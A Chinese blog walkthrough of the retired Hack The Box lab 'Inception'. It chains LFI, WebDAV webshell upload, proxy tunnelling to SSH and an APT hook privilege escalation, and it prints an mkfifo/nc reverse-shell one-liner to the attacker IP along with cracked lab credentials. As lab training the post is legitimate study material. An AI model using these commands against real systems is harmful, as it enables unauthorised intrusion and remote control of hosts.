zoukankan      html  css  js  c++  java
  • HTB-靶机-Inception

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.67

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令 autorecon 10.10.10.67 -o ./Inception-autorecon

    最的扫描结果就得到两个端口,一个80的web业务端口另一个是3128的代理端口,我们先看看80端口

    没看到啥东西,看看burpsuite的请求,重放看看源码信息

    很直观的感觉,这里重放之后很多空白行,很自然的拉到最下面,看到了此关键信息,猜测这个就是一个目录路径,我们访问看看

    翻看了这里的文件,看到了版本为0.6.0 在kali上搜索下是否存在漏洞

    得知利用方式,此处存在LFI 直接利用看看,这里注意,如果直接浏览器访问会显示下载一个pdf文件,此时需要使用burpsuite进行重放拿到base64编码然后解码即可

    既然可以读取任意文件,那么读下目标靶机的默认配置文件,具体配置文件信息,可以参考:https://cwiki.apache.org/confluence/display/HTTPD/DistrosDefaultLayout 最终如上读取了base64编码的配置文件信息,解码如下

    知道了一个名称为webdav的配置路径的认证账户和密码,按照名称意思是存在webdav相关的put上传漏洞,但是访问之前需要认证,所以先使用LFI读取账户和密码然后访问webdav路径使用put进行上传shell

    解码后如下:

    webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

    通过john加字典进行破解

    john bmfxpass --wordlist=/usr/share/wordlists/rockyou.txt

    得出的账户和密码:webdav_tester:babygurl69 ,到了此处就有很多利用PUT上传的方式了,可以参考我之前做的vulhub靶机,链接:https://www.cnblogs.com/autopwn/p/13859804.html 此处再给出两种方法

    第一种方法:

    使用一键脚本直接上传
    https://github.com/cldrn/davtest 这是对应利用工具地址
    下面是一键上传命令
    ./davtest.pl -url http://10.10.10.67/webdav_test_inception -auth webdav_tester:babygurl69 -uploadfile backdoors/php_cmd.php -uploadloc bmfx.php

    第二种方法:

    kali自带的命令cadaver使用put直接上传拿shell
    
    kali@kali:~/Downloads/htb/inception$ cadaver
    dav:!> open http://10.10.10.67/webdav_test_inception
    Authentication required for webdav test credential on server `10.10.10.67':
    Username: webdav_tester
    Password:
    dav:/webdav_test_inception/> ls
    Listing collection `/webdav_test_inception/': succeeded.
            bmfx.php                             328  Nov 29 22:15
            webdav.passwd                         52  Nov  8  2017
    dav:/webdav_test_inception/> put bmfxshit.php
    Uploading bmfxshit.php to `/webdav_test_inception/bmfxshit.php':
    Progress: [=============================>] 100.0% of 333 bytes succeeded.
    dav:/webdav_test_inception/> ls
    Listing collection `/webdav_test_inception/': succeeded.
            bmfx.php                             328  Nov 29 22:15
            bmfxshit.php                         333  Nov 29 22:42
            webdav.passwd                         52  Nov  8  2017
    dav:/webdav_test_inception/>

    上传小马成功之后本想反弹shell,但是试了几个端口发现都不能正常反弹,猜测防火墙对出口和入口都做了限制,那么这里就是webshell在网页端进行查看

    网页马
    https://github.com/b374k/b374k
    使用方式:
    php -f index.php -- -o bmfxb374.php -p bmfx -s -b -z gzcompress -c 9
    
    https://github.com/flozz/p0wny-shell(直接上传即可使用)
    https://github.com/Arrexel/phpbash(直接上传即可使用)

    最后通过webshell知道目标靶机的wordpress的数据库密码

    获得了数据库的密码:VwPddNh7xMZyDQoByQL4 此时想到目标开放了两个端口一个是代理用的,一个80用的,想试试此密码是否能够直接通过ssh登录到目标,查看下目标开放的端口

    很显然开放了22端口,只是因为防火墙的原因不能直接远程连接,那么没关系,我们使用目标靶机提供的代理将22端口转发到本地,这里使用kali自带的命令proxytunnel

    proxytunnel -p 10.10.10.67:3128 -d 127.0.0.1:22 -a 8866

    开始本地连接目标靶机,因为前面的LFI漏洞读取了/etc/passwd知道了目标靶机存在用户cobb,所以此处ssh连接就是此用户

    顺手执行了sudo -l发现可以直接提权

    但是结果并不能获取最终的root.txt,意思是在其他机器上,此时回头看看发现此靶机的IP地址是192.168.0.10 ,而我连接到此靶机的IP是10.10.14.5,跟测试的目标IP地址是10.10.10.67 ,并且通过webshell发现显示访问192.168.0.10的IP地址是192.168.0.1那么可以确认192.168.0.1是个网关地址跟目标靶机10.10.10.67直接有路由转发,而本机IP是10.10.14.5,致使他们之间可以连接,所以现在需要做的是测试目标IP为192.168.0.1的主机,详细root.txt就在此主机上,这里可以通过两种方式扫描目标,一直是nc的方式,不过这个我测试了,速度比较慢,使用超时的参数也慢,所以我觉得使用静态二进制nmap文件进行扫描,最终到处了目标存在ftp服务和tftp服务,ftp服务可以下载文件,tftp服务可以写文件,于是就有了下面的操作

    通过上述知道了目标192.168.0.1 有个以root权限执行的计划任务,执行的命令是apt命令,关于apt的提权命令可以参考如下:

    https://gtfobins.github.io/gtfobins/apt/
    https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/

    而且知道了利用apt命令的默认配置路径,这样就有了下面的提权操作

    echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 8833 >/tmp/f";};' > 100update

    然后本地监听8833端口,等待反弹shell

    确认IP地址

    得知目标靶机其实是两个网卡IP地址,提供的web服务在192.168.0.10,但是对外的IP地址是10.10.10.67,而且有防火墙限制,反弹不了shell,而本身的另一个IP地址192.168.0.1是没防火墙限制可以反弹shell,但是对外的IP地址10.10.10.67没有对应的服务提供,所以从外部打进来无法直接接触到IP地址192.168.0.1,总结下来需要从10.10.10.67的web打进来然后转到192.168.0.1,再反弹回来。

    PS:上述提权还可以通过写入ssh公钥进行直连,具体大家去测试

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    python 获取当前时间
    PHP基础
    python 编码
    系统分区表 MBR GPT
    python mysql like查询的写法
    JSP JavaBean
    jsp MVC
    python 正则例子
    Java版A星算法
    linux 部署subversion独立服务器
  • 原文地址:https://www.cnblogs.com/autopwn/p/14061420.html
Copyright © 2011-2022 走看看